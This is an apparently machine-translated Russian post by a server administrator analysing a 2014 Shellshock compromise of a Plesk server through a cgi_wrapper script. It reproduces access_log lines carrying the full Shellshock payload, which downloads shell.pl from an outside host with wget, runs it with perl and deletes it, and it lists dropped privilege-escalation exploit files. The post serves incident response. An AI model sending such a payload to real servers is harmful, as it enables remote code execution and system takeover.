Я просто имел удовольствие почистить скомпрометированную старую систему Plesk. Первым, что выдало его, были многочисленные процессы, которые начали прослушивать несколько портов, а другие пытались загрузить код с исходного сервера сканирования.
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
После регистрации я обнаружил, что окончательной дырой был cgi_wrapper
сценарий, то, что должно было защищать и защищать систему, это то, что фактически разрывало дыру в защите. Вот некоторые из строк журнала от зондов и успешной атаки:
Это строки из access_log, так как это всего лишь пример, обратите внимание на 200 на двух из строк, в то время как другие не работают с 404. Вам не нужно беспокоиться о строках с 404, так как они не увенчались успехом, те с 200 однако сделали. Схема этих атак здесь всегда одна и та же: 1. найдите уязвимый сценарий cgi, используйте эксплойт «shellshock» для загрузки и выполнения сценария perl, снова удалите сценарий perl. Сценарий perl фактически загрузит некоторые исходные файлы (tgz), скомпилирует их и запустит, из того, что я видел, они включают, по крайней мере, бэкдор и механизм автоматического обновления, плюс то, что похоже на эксплойты, чтобы попытаться получить повышенные привилегии выполнения. Все начальные сценарии фактически выполняются от имени пользователя, предоставленного оболочкой, в то время как последующие службы запускаются с PPID 1 (запускается из корневого процесса)).
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
И вот соответствующие строки error_log:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
Файлы, загруженные в / tmp Как можно догадаться, у меня нет файла bot.pl, поскольку он удален сразу.
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
Через некоторое время я заметил ssh-соединения из разных мест, например из Китая, которые обычно не посещают наш сервер так часто. Я исправил bash в качестве экстренной меры (было бы неплохо, чтобы исправленные источники были доступны на веб-сайте FSF, а не только действительно устаревшие источники и файлы исправлений (один из которых сначала не был корректно применен). Система запланирована для полного завершения. стереть сейчас, так что если кто-то ищет что-то еще об атаке, вы можете спросить, но сделать это в ближайшее время.